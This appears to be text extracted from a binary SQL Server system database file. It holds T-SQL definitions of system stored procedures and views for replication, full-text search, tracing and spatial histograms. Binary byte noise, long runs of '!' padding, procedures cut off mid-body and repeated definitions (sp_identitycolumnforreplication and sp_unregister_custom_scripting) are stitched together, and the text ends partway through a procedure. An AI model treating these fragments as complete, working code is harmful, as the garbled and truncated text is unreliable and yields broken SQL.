        begin
            goto Failure
        end
        
        open hViews
        if @@error<>0
        begin
           goto Failure
        end
    
        fetch hViews into @dynamic_snapshot_view_name
        while (@@fetch_status<>-1)
        begin
            select @drop_view_command = 'drop view ' + 
                quotename(@dynamic_snapshot_view_name)
            exec(@drop_view_command)
            if @@error<>0
            begin
                select @retcode = 1 -- Just to indicate that a failure occurred
            end        
            delete from MSdynamicsnapshotviews
             where dynamic_snapshot_view_name = @dynamic_snapshot_view_name
            if @@error<>0
            begin
                select @retcode = 1 -- Just to indicate that a failure occurred
            end        
            fetch hViews into @dynamic_snapshot_view_name
        end
    end
    return @retcode
Failure:
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Q
I
	`K<;U
m0 8
CREATE VIEW sys.spt_columns_view_managed AS 
SELECT 
	o.object_id									AS OBJECT_ID,
	DB_NAME()									AS TABLE_CATALOG,
	SCHEMA_NAME(o.schema_id)					AS TABLE_SCHEMA,
	o.name										AS TABLE_NAME,
	c.name										AS COLUMN_NAME,
	ColumnProperty(c.object_id, c.name, 'ordinal')		AS ORDINAL_POSITION, 
	convert(nvarchar(4000), object_definition(c.default_object_id))			AS COLUMN_DEFAULT, 
	convert(varchar(3), 
		CASE c.is_nullable 
		WHEN 1 THEN 
			'YES' 
		ELSE 
			'NO' 
		END)									AS IS_NULLABLE, 
	ISNULL(type_name(c.system_type_id), t.name)		AS DATA_TYPE, 
	ColumnProperty(c.object_id, c.name, 'charmaxlen')	AS CHARACTER_MAXIMUM_LENGTH, 
	ColumnProperty(c.object_id, c.name, 'octetmaxlen')	AS CHARACTER_OCTET_LENGTH, 
	convert(tinyint, CASE -- int/decimal/numeric/real/float/money 
		WHEN c.system_type_id IN (48, 52, 56, 59, 60, 62, 106, 108, 122, 127) THEN 
			c.precision 
		END)									AS NUMERIC_PRECISION, 
	convert(smallint, CASE	-- int/money/decimal/numeric 
		WHEN c.system_type_id IN (48, 52, 56, 60, 106, 108, 122, 127) THEN 
			10 
		WHEN c.system_type_id IN (59, 62) THEN 
			2 
		END)									AS NUMERIC_PRECISION_RADIX,	-- real/float 
	convert(int, CASE	-- datetime/smalldatetime 
		WHEN c.system_type_id IN (40, 41, 42, 43, 58, 61) THEN 
			NULL
		ELSE 
			odbcscale(c.system_type_id, c.scale) 
		END)									AS NUMERIC_SCALE, 
	convert(smallint, CASE -- datetime/smalldatetime 
		WHEN c.system_type_id IN (40, 41, 42, 43, 58, 61) THEN 
			odbcscale(c.system_type_id, c.scale) 
		END)									AS DATETIME_PRECISION, 
	convert(sysname, null)							AS CHARACTER_SET_CATALOG,
	convert(sysname, null) collate catalog_default	AS CHARACTER_SET_SCHEMA,
	convert(sysname, CASE 
		WHEN c.system_type_id IN (35, 167, 175) THEN	-- char/varchar/text 
			CollationProperty(c.collation_name, 'sqlcharsetname') 
		WHEN c.system_type_id IN (99, 231, 239) THEN	-- nchar/nvarchar/ntext 
			N'UNICODE' 
		END)									AS CHARACTER_SET_NAME, 
	convert(sysname, null)							AS COLLATION_CATALOG,
	convert(sysname, null) collate catalog_default	AS COLLATION_SCHEMA,
	c.collation_name								AS COLLATION_NAME,
	convert(sysname, CASE 
		WHEN c.user_type_id > 256 THEN 
			DB_NAME() 
		END)									AS DOMAIN_CATALOG, 
	convert(sysname, CASE 
		WHEN c.user_type_id > 256 THEN 
			SCHEMA_NAME(t.schema_id)
		END)									AS DOMAIN_SCHEMA, 
	convert(sysname, CASE 
		WHEN c.user_type_id > 256 THEN 
			type_name(c.user_type_id)
		END)						AS DOMAIN_NAME,
	c.is_sparse						AS IS_SPARSE,
	c.is_column_set					AS IS_COLUMN_SET,
	c.is_filestream						AS IS_FILESTREAM

FROM 
	sys.objects o JOIN sys.columns c ON 
		(
			c.object_id = o.object_id and
			o.type in ('U', 'V')  -- limit columns to tables and views
		)
	LEFT JOIN sys.types t ON c.user_type_id = t.user_type_id 
WHERE 
	has_perms_by_name(quotename(schema_name(o.schema_id)) + '.' + quotename(o.
name), 'object',

		 'select',
		quotename(c.name),
		'column') = 1 
0 D8h*"0@ 38create procedure sys.sp_MSchange_mergepublication (
    @pubid uniqueidentifier,
    @property sysname = NULL,
    @value nvarchar(2000) = NULL
    ) AS

    set nocount on

    declare @value_numeric int
    declare @value_bit bit
    -- Security check
    if 1 <> is_member('db_owner')
    begin    
        RAISERROR (15247, 11, -1)
        return (1)
    end

    /*
    ** Parameter Check:     @property.
    ** Check to make sure that @property is a valid property
    */
    if @property IS NULL OR LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) NOT in 
                                                    ('allow_subscription_copy',
                                                    'centralized_conflicts',
                                                    'conflict_logging',
                                                    'generation_leveling_threshold',
                                                    'automatic_reinitialization_policy')
    begin
        raiserror (21053, 16, -1, @property)
        return (1)
    end

    BEGIN TRAN MSchange_mergepublication    
    save tran MSchange_mergepublication
        
    if lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'allow_subscription_copy'
    begin
        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
            select @value_bit = 1
        else 
            select @value_bit = 0

        UPDATE dbo.sysmergepublications 
            SET allow_subscription_copy = @value_bit
            WHERE pubid = @pubid
        if @@error <> 0
        BEGIN
           GOTO UNDO
        END
    end
    else if lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'centralized_conflicts'
    begin
        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
            select @value_numeric = 1
        else 
            select @value_numeric = 0
    
        UPDATE dbo.sysmergepublications 
            SET centralized_conflicts = @value_numeric,
                decentralized_conflicts = case @value_numeric
                                            when 1 then 0
                                            else 0
                                          end
            WHERE pubid = @pubid
        if @@error <> 0
        BEGIN
           GOTO UNDO
        END
    end
    else if lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'conflict_logging'
    begin
        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'publisher'
            select @value_numeric = 1
        else if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'both'
            select @value_numeric = 2
        else 
            select @value_numeric = 0
    
        UPDATE dbo.sysmergepublications 
            SET centralized_conflicts = case @value_numeric
                                            when 1 then 1
                                            when 2 then 1
                                            else 0
                                        end,
                decentralized_conflicts = case @value_numeric
                                            when 1 then 0
                                            when 2 then 1
                                            else 0
                                          end
            WHERE pubid = @pubid
        if @@error <> 0
        BEGIN
           GOTO UNDO
        END
    end
    else if lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'generation_leveling_threshold'
    begin
        select @value_numeric = convert(int, @value)
        
        UPDATE dbo.sysmergepublications 
            SET generation_leveling_threshold = @value_numeric
            WHERE pubid = @pubid
        if @@error <> 0
        BEGIN
           GOTO UNDO
        END
    end
    else if lower(@property collate SQL_Latin1_General_CP1_CS_AS) = 'automatic_reinitialization_policy'
    begin
        UPDATE dbo.sysmergepublications 
            SET automatic_reinitialization_policy = @value
            WHERE pubid = @pubid
        if @@error <> 0 GOTO UNDO
    end
                    
    COMMIT TRAN
    return 0

UNDO: 
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRANSACTION MSchange_mergepublication
        COMMIT TRANSACTION
    end
    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!HH`$<6%@U0|Q@ 8create procedure sys.sp_MSaddanonymousreplica
    (@publication         sysname,
     @publisher            sysname,
     @publisherDB        sysname,
     @anonymous            int,
     @sync_type            int = 1, /* sync type is automatic by default */
     @preexists            bit=0 OUTPUT
)
as
set nocount on
declare @retcode                 int
declare @subscription_type         nvarchar(15)
declare @sync_typestr             nvarchar(15)
declare @sub_typeid                int
declare @pubid                    uniqueidentifier

/*
** need more than PAL to do this since this is run at the subscriber site
*/
exec @retcode = sp_MSreplcheck_subscribe
if @@error<>0 or @retcode<>0
begin
        RAISERROR (14126, 11, -1)
       return 1
end

select @preexists = 0

select @subscription_type = 'default'

if @anonymous = 1 
begin
    select @subscription_type = 'anonymous'
    select @sub_typeid    = 2 --subscription type value for anonymous
end
else if @anonymous = 2
begin
    select @subscription_type = 'lightweight'
    select @sub_typeid = 3 --subscription type value for lightweight
end
else
begin
    select @subscription_type = 'local'
    select @sub_typeid = 1 --subscription type value for well known pull
end

if @sync_type = 1 select @sync_typestr = 'automatic'
    else select @sync_typestr = 'none'

-- this change is made so that we will try to add pull/anonymous subscriptions, even if
-- there is a already a subscription for that publication, however the subscription type
-- does not match. In this way we can prevent users from using incorrect subscription type
-- through command line or merge control. 
if object_id('sysmergepublications') is not NULL
begin
    select @pubid=pubid from dbo.sysmergepublications 
        where name=@publication and UPPER(publisher)=UPPER(@publisher) and publisher_db = @publisherDB

    if @pubid is not NULL
    begin
        /* Check if theres is a subscriptions entry that matches the pubid and current subscription with the right type */
        if exists (select * from dbo.sysmergesubscriptions where pubid =@pubid  and UPPER(subscriber_server) = @@SERVERNAME and db_name = DB_NAME() and subscription_type=@sub_typeid)
        begin
            select @preexists = 1
            return (0)   -- replica exists. 
        end
        /* 
        ** Check if theres is a subscriptions entry that matches the pubid and current subscription - 
        ** If there is a match and the types are not the same, then return appropriate error.
        */
        else if exists (select * from dbo.sysmergesubscriptions where pubid =@pubid  and UPPER(subscriber_server) = @@SERVERNAME and db_name = DB_NAME())
        begin
            RAISERROR (21500, 16, -1, @publication)    
            -- replica exists with wrong subscription type 
            select @preexists = 1

            return (1)   
        end
    end
end

-- Call this SP to add this replica
exec @retcode = sys.sp_addmergepullsubscription 
    @publication = @publication,
    @publisher = @publisher,
    @publisher_db=@publisherDB,
    @subscriber_type =@subscription_type,
    @sync_type = @sync_typestr
IF @retcode<>0 or @@ERROR<>0 return (1)
return (0)
0܍V s
8create procedure sys.sp_MSscript_ExecutionMode_stmt (
    @publication sysname, 
    @article     sysname,
    @proctype   int = 0)        -- 0 insert, 1 delete, 2 update
as
begin
    declare @cmd        nvarchar(4000)
            ,@artid     int
            ,@pubid     int
            ,@queued_pub bit

    select @pubid = pubid, @queued_pub = allow_queued_tran 
        from syspublications where name = @publication
    select @artid = artid from sysarticles where name = @article and pubid = @pubid

    --
    -- script PAL check subscription validation and reinitialization check
    -- PAL check will be done inside sp_MSgetarticlereinitvalue
    --
    select @cmd = N'
    ' + N'--
    ' + N'-- Do PAL security check inside sp_MSgetarticlereinitvalue
    ' + N'-- Check for subscription validation
    ' + N'-- Check if we are in the process of Reinitialization
    ' + N'--' 
    insert into #proctext(procedure_text) values( @cmd )
    select @cmd = N'
    exec @retcode = sys.sp_MSgetarticlereinitvalue @orig_server, @orig_db, N''' + 
        sys.fn_replreplacesinglequote(@publication) collate database_default + N''', ' +
        cast(@artid as nvarchar(5)) + N', @reinit output
    if (@retcode != 0 or @@error != 0)
        return -1 '
    insert into #proctext(procedure_text) values( @cmd )
    --
    -- script the reinit check
    --
    select @cmd = N'
    if (@reinit is null) -- Invalid subscription
    begin
        exec sys.sp_MSreplraiserror 21161
        return -1
    end
    else if (@reinit = 1) -- Resync state
    begin
        if (@execution_mode = @immediate)
            return -2'
    if (@queued_pub = 1)
    begin
        select @cmd = @cmd + N'
        else
            return 4 -- Queued Resync state'
    end
    select @cmd = @cmd + N'
    end
    '
    insert into #proctext(procedure_text) values( @cmd )
--
	-- set loopback detection for immediate
	--
	select @cmd = N'
	if (@execution_mode = @immediate)
	begin
		' + N'--
		' + N'-- For immediate
		' + N'-- enable loopback detection
		' + N'--
		exec @retcode = dbo.sp_replsetoriginator @orig_server, @orig_db, N'''
		+ sys.fn_replreplacesinglequote(@publication) collate database_default + N''' 
		if (@retcode != 0 or @@error != 0) 
			return -1
	end'
	insert into #proctext(procedure_text) values( @cmd )    
--
    -- Queued specific scripting
    --
    if (@queued_pub = 1)
    begin
        --
        -- Queued reinitialization mode execution
        --
        select @cmd = N'
    if (@execution_mode = @QReinit)
    begin
        ' + N'--
        ' + N'-- For Queued reinitialization
        ' + N'-- Set the Queue and subscription for reinit
        ' + N'--'
        insert into #proctext(procedure_text) values( @cmd )

        select @cmd = N'
        exec @retcode = sys.sp_reinitsubscription @publication = N''' 
            + sys.fn_replreplacesinglequote(@publication) collate database_default + N''', @article = N''' +  
            sys.fn_replreplacesinglequote(@article) collate database_default + N''', @subscriber = @orig_server, @destination_db = @orig_db
        if (@retcode != 0 or @@error != 0)
            return -1
        else
            return 0
    end'
        insert into #proctext(procedure_text) values( @cmd )
    end
    --
    -- all done
    --
    return 0
end 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!S
`<
XcO+P:0$ 
8create procedure sys.sp_help_fulltext_columns
	@table_name nvarchar(517) = NULL,		-- table name
	@column_name	sysname = NULL			-- column name
as
	-- FULLTEXT MUST BE ACTIVE IN DATABASE --
	if DatabasePropertyEx(db_name(), 'IsFulltextEnabled') = 0
	begin
		raiserror(15601,-1,-1)
		return 1
	end

	if @table_name is not null
	begin
		-- VALIDATE TABLE NAME --
		--	(1) Must exist in current database
		declare @objid int
		select @objid = object_id(@table_name, 'local')
		if @objid is null
		begin
			declare @curdbname sysname
			select @curdbname = db_name()
			raiserror(15009,-1,-1 ,@table_name, @curdbname)
			return 1
		end
		--	(2) Must be a user table or indexed view (and not a temp table)
		if (ObjectProperty(@objid, 'IsUserTable') = 0 AND (ObjectProperty(@objid, 'IsView') = 0 OR ObjectProperty(@objid, 'IsIndexed') = 0 )) OR 
		    substring(parsename(@table_name,1),1,1) = '#'
		begin
			raiserror(15218,-1,-1 ,@table_name)
			return 1
		end

		-- VALIDATE COLUMN NAME --
		if @column_name is not null
		begin
			declare @typename sysname
			select @typename = type_name(ColumnProperty(@objid, @column_name, 'SystemType'))
			if @typename is null
			begin
				raiserror(15104,-1,-1,@table_name,@column_name)
				return 1
			end
		end

	end

	-- We are using schema owner as table owner now. Check with garish for their decision on using schema owner 
	-- in place of table owner for backward compatibility issue. 
	select distinct
			ssche.name as TABLE_OWNER,
			sftcol.object_id as TABLE_ID,
			sobj.name as TABLE_NAME,
			scol.name as FULLTEXT_COLUMN_NAME,
			sftcol.column_id as FULLTEXT_COLID,
			scol2.name as FULLTEXT_BLOBTP_COLNAME,
			case sftcol.type_column_id 
			     when 0 then null 
                 else sftcol.type_column_id
			end as FULLTEXT_BLOBTP_COLID,
            sftcol.language_id as FULLTEXT_LANGUAGE
	from
			sys.fulltext_index_columns as sftcol 
			-- the nolock is to not block while crawl or master merge is creating fragments
			join sys.objects as sobj WITH (NOLOCK) on(sftcol.object_id = sobj.object_id)
			join sys.columns as scol on (sftcol.object_id = scol.object_id and sftcol.column_id = scol.column_id) 
			left outer join sys.columns as scol2 on (sftcol.object_id = scol2.object_id and sftcol.type_column_id = scol2.column_id)
			join sys.schemas as ssche on (sobj.schema_id = ssche.schema_id)
	where 	(
			  @column_name is null or
			  scol.name = @column_name
			)   
			AND (
			  @table_name is null or
			  sobj.object_id = @objid
			) 
	order by TABLE_OWNER, TABLE_NAME, FULLTEXT_COLID

	-- SUCCESS --
	return 0	-- sp_help_fulltext_columns
0
@ 8
create procedure sys.sp_MSenummergepublications 
(
    @publication sysname = NULL,
    @category int = NULL
)
as
BEGIN
    set nocount on
    declare @publisher            sysname
            ,@publisher_db        sysname

    select @publisher=publishingservername()
    select @publisher_db=db_name()
    
    --
    -- This SP depends on the pre-creation 
    -- of the temp table #MSenumpublications
    --
    insert into #MSenumpublications
    select @publisher_db,
            name,
            2,
            1,
            allow_pull,
            allow_anonymous,
            enabled_for_internet,
            0,
            snapshot_ready,
            0,
            1,
            is_member('db_owner'),
            0,                            --thirdparty
            N'Microsoft SQL Server',
            publisher,
            N'MSSQLSERVER',
            description,
            convert(sysname, null),
            convert(bit,0),                --allow_queued_tran
            convert(bit,0),                --allow_dts
            convert(int, null),            -- thirdparty_options
            convert(int, null),            -- queue_type
            dynamic_filters
    from     dbo.sysmergepublications
    where    status <> 0 
      and    LOWER(publisher)=LOWER(@publisher) 
      and    publisher_db=@publisher_db
      and    (@publication is null or name = @publication)

END
0 D8r=hFF!0> K8create procedure sys.sp_MSdoesfilterhaveparent @filter_id int
as
begin
    if exists ( select * from sys.objects
                where object_id = @filter_id and
                parent_object_id <> 0 )
    BEGIN
        return 1
    END
    ELSE
    BEGIN
        return 0
    END
end
  BEGIN
        SELECT    @lead_char    = N'[',
                @trail_char    = N']'
    END
    ELSE IF @quote_character IN (N'(', N')')
    BEGIN
        SELECT    @lead_char    = N'(',
                @trail_char    = N')'
    END
    ELSE IF @quote_character IN (N'<', N'>')
    BEGIN
        SELECT    @lead_char    = N'<',
                @trail_char    = N'>'
    END
    ELSE IF @quote_character IN (N'{', N'}')
    BEGIN
        SELECT    @lead_char    = N'{',
                @trail_char    = N'}'
    END
    ELSE IF @quote_character IN (N'''', N'"')
    BEGIN
        SELECT    @lead_char = @quote_character,
                @trail_char = @quote_character
    END
    ELSE
    BEGIN
        -- Quotename doesn't issue an error and just outputs NULL.
        -- Do the same thing here
        RETURN NULL
    END

    -- Replace trail character with a duplicate version
    SELECT @result = @lead_char + REPLACE(@string, @trail_char, @trail_char + @trail_char) + @trail_char
    RETURN @result
end
0o/ _8create function sys.fn_trace_gettable
	(@filename nvarchar(4000), 
	 @numfiles int = -1)
	 
returns table as
return select 
	TextData,
	BinaryData,
	DatabaseID,
	TransactionID,
	LineNumber,
	NTUserName,
	NTDomainName,
	HostName,
	ClientProcessID,
	ApplicationName,
	LoginName,
	SPID,
	Duration,
	StartTime,
	EndTime,
	Reads,
	Writes,
	CPU,
	Permissions,
	Severity,
	EventSubClass,
	ObjectID,
	Success,
	IndexID,
	IntegerData,
	ServerName,
	EventClass,
	ObjectType,
	NestLevel,
	State,
	Error,
	Mode,
	Handle,
	ObjectName,
	DatabaseName,
	FileName,
	OwnerName,
	RoleName,
	TargetUserName,
	DBUserName,
	LoginSid,
	TargetLoginName,
	TargetLoginSid,
	ColumnPermissions,
	LinkedServerName,
	ProviderName,
	MethodName,
	RowCounts,
	RequestID,
	XactSequence,
	EventSequence,
	BigintData1,
	BigintData2,
	GUID,
	IntegerData2,
	ObjectID2,
	Type,
	OwnerID,
	ParentName,
	IsSystem,
	Offset,
	SourceDatabaseID,
	SqlHandle,
	SessionLoginName,
	PlanHandle,
	GroupID
       from OpenRowset(TABLE TRCTABLE, @filename, @numfiles)
0G@ 8 
-- add it
create view sys.pdw_database_mappings as
select
	database_id,
	physical_name	collate database_default physical_name
from sys._pdw_database_mappings
0 D8r=hFF!0
@ 8create procedure sys.sp_browsesnapshotfolder
(
    @publication    sysname,
    @subscriber     sysname = NULL,
    @subscriber_db  sysname = NULL,
    @publisher        sysname = NULL
)
AS
BEGIN
    DECLARE @cmd        	nvarchar(4000)
    DECLARE @retcode    	int
    DECLARE @publisher_type sysname

    SET @retcode = 0
    
    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher      = @publisher,
													@rpcheader      = @cmd OUTPUT,
													@publisher_type = @publisher_type OUTPUT
    
    IF @retcode <> 0
        RETURN (@retcode)

    -- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
    set @cmd = @cmd + N'sys.sp_MSrepl_browsesnapshotfolder'
    
    EXEC @retcode = @cmd
                    @publication,
                    @subscriber,
                    @subscriber_db,
                    @publisher,
                    @publisher_type

    RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!o

`<X1B0w! 
8CREATE PROC sys.sp_help_spatial_geography_histogram
(
	@tabname	SYSNAME,
	@colname	SYSNAME,
	@resolution	INT,
	@sample		FLOAT = 100
)
AS
BEGIN
	-- Check to see that the object names are local to the current database.
	DECLARE @dbname SYSNAME = parsename(@tabname,3)
	IF @dbname is null
		SELECT @dbname = db_name()
	ELSE IF @dbname <> db_name()
		BEGIN
			raiserror(15250,-1,-1)
			return (1)
		END

	-- Check to see if the TABLE exists
	DECLARE @objid int = object_id(@tabname);
	IF @objid is NULL
	BEGIN
		raiserror(15009,-1,-1,@tabname,@dbname)
		return (1)
	END

	declare @quoted_tabname nvarchar(max) = QUOTENAME(@dbname, N']') + N'.' + QUOTENAME(OBJECT_SCHEMA_NAME(@objid), N']') + N'.' + QUOTENAME(OBJECT_NAME(@objid), N']');

	-- Check to see if the geography COLUMN exists
	DECLARE @columns INT = (select COUNT(*) from sys.columns where object_id = @objid and name = @colname and system_type_id = 240 and user_type_id = 130);
	IF @columns <> 1
	BEGIN
		raiserror(15148,-1,-1,@colname)
		return (1)
	END

	-- Check to see if the RESOLUTION is valid
	IF @resolution < 10
	BEGIN
		SET @resolution = 10;
	END
	IF @resolution > 5000
	BEGIN
		SET @resolution = 5000;
	END

	DECLARE @tablesample varchar(max) = N'';
	IF @sample <> 100
	BEGIN
		SET @tablesample = N'TABLESAMPLE (' + cast(@sample as nvarchar) + N' PERCENT)';
	END

	-- Run the query
	DECLARE @query nvarchar(max) = N'SELECT a.id AS CellId, geography::STGeomFromWKB(a.WKB, 4326) AS Cell, COUNT(*) AS IntersectionCount FROM ' + @quoted_tabname + N' ' + @tablesample +
	N' CROSS APPLY sys.GeodeticGridCoverage(' + @colname + N',' + cast(@resolution as nvarchar) + N',' + cast(@resolution as nvarchar) + N') a GROUP BY a.id, a.WKB';
	exec(@query);
END
0|F 8--
-- Name:
-- 		sp_identitycolumnforreplication
--
-- Description:
--  	This procedure allows customers to set the NFR on
--		identity columns for a particular table.
--	
-- Returns:
--  	0-Success 1-Failure
--
-- Security: DBO check
--
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_identitycolumnforreplication
(
	@object_id	int,
	@value		bit
)
AS
BEGIN
	DECLARE @identity_column sysname

	IF IS_SRVROLEMEMBER('sysadmin') = 0
		AND IS_MEMBER('db_owner') = 0
	BEGIN
		RAISERROR(21050, 14, -1)
		RETURN 1
	END

	SELECT @identity_column = NULL

	SELECT @identity_column = name 
		FROM sys.columns
		WHERE object_id = @object_id
			AND COLUMNPROPERTY(object_id, name, 'IsIdentity') = 1
	IF @identity_column IS NOT NULL
	BEGIN
		EXEC %%ColumnEx(ObjectID = @object_id, Name = @identity_column).SetIdentityNotForRepl(Value = @value)
		IF @@ERROR <> 0 
			RETURN 1
	END

	RETURN 0
END
0Ӫ2@ n8create procedure sys.sp_unregister_custom_scripting 
(
    @type varchar(16) 		-- one of 'insert', 'delete', 'update', 'custom_script'
    ,@publication sysname = NULL	-- publication to apply this to, NULL means all publications with articles  with @schema_option & 0x02 = 0x02
    ,@article sysname = NULL		-- article to apply this to, NULL means all articles with @schema_option & 0x02 = 0x02
)
as
begin
	declare @retcode int
	exec @retcode = sys.sp_register_custom_scripting @type = @type, @value = NULL, @publication = @publication, @article = @article
	return @retcode
end
0ҜB@ 8
create procedure sys.sp_MSgetsetupbelong_cost
AS
        declare @article_statistics_table nvarchar(400)
        declare @quoted_article_statistics_table nvarchar(400)
        
    -- if the article statistics table does not exist do report any article statistics
    -- at the same time there is no need to raise an error if the table does not exits
    -- For article statistics to work the AGENT MUST create this temp table.
    -- if you change the table name change it here, in drprep.cpp (setupbelongs function) and in sp_MSsetupbelongs
    select @article_statistics_table = '#setupbelongs_article_statistics_table'
    if OBJECT_ID('tempdb..' + @article_statistics_table) is not NULL
    begin
            select @quoted_article_statistics_table = QUOTENAME(@article_statistics_table)
            exec ('select article_name, setupbelong_time from ' + @quoted_article_statistics_table)
            if @@ERROR<>0
                    return (1)
    end
0I 8create procedure sys.sp_MSscriptdatabase
@dbname nvarchar(258)
as
   /* verify */
   declare @id int
   select @id = dbid from master.dbo.sysdatabases where name = @dbname
   if (@id is null)
   begin
      RAISERROR (15001, -1, -1, @dbname)
      return 1
   end

   /* Ready to get to work */
   declare @dbTempname nvarchar(258)
   SELECT @dbTempname = REPLACE(@dbname, N']', N']]')
   exec (N'[' + @dbTempname + N']' + N'..sp_MSscriptdb_worker ')
M dbo.MSpeer_conflictdetectionconfigrequest)
    	BEGIN
			DROP TABLE dbo.MSpeer_conflictdetectionconfigrequest
			IF @@ERROR <> 0
				GOTO UNDO
	END
    END

	COMMIT TRANSACTION tran_sp_MSdrop_peer_tables

	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tran_sp_MSdrop_peer_tables
	COMMIT TRANSACTION tran_sp_MSdrop_peer_tables
	
	RETURN 1
END
0l| D8h90|F 8--
-- Name:
-- 		sp_identitycolumnforreplication
--
-- Description:
--  	This procedure allows customers to set the NFR on
--		identity columns for a particular table.
--	
-- Returns:
--  	0-Success 1-Failure
--
-- Security: DBO check
--
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_identitycolumnforreplication
(
	@object_id	int,
	@value		bit
)
AS
BEGIN
	DECLARE @identity_column sysname

	IF IS_SRVROLEMEMBER('sysadmin') = 0
		AND IS_MEMBER('db_owner') = 0
	BEGIN
		RAISERROR(21050, 14, -1)
		RETURN 1
	END

	SELECT @identity_column = NULL

	SELECT @identity_column = name 
		FROM sys.columns
		WHERE object_id = @object_id
			AND COLUMNPROPERTY(object_id, name, 'IsIdentity') = 1
	IF @identity_column IS NOT NULL
	BEGIN
		EXEC %%ColumnEx(ObjectID = @object_id, Name = @identity_column).SetIdentityNotForRepl(Value = @value)
		IF @@ERROR <> 0 
			RETURN 1
	END

	RETURN 0
END
0Ӫ2@ n8create procedure sys.sp_unregister_custom_scripting 
(
    @type varchar(16) 		-- one of 'insert', 'delete', 'update', 'custom_script'
    ,@publication sysname = NULL	-- publication to apply this to, NULL means all publications with articles  with @schema_option & 0x02 = 0x02
    ,@article sysname = NULL		-- article to apply this to, NULL means all articles with @schema_option & 0x02 = 0x02
)
as
begin
	declare @retcode int
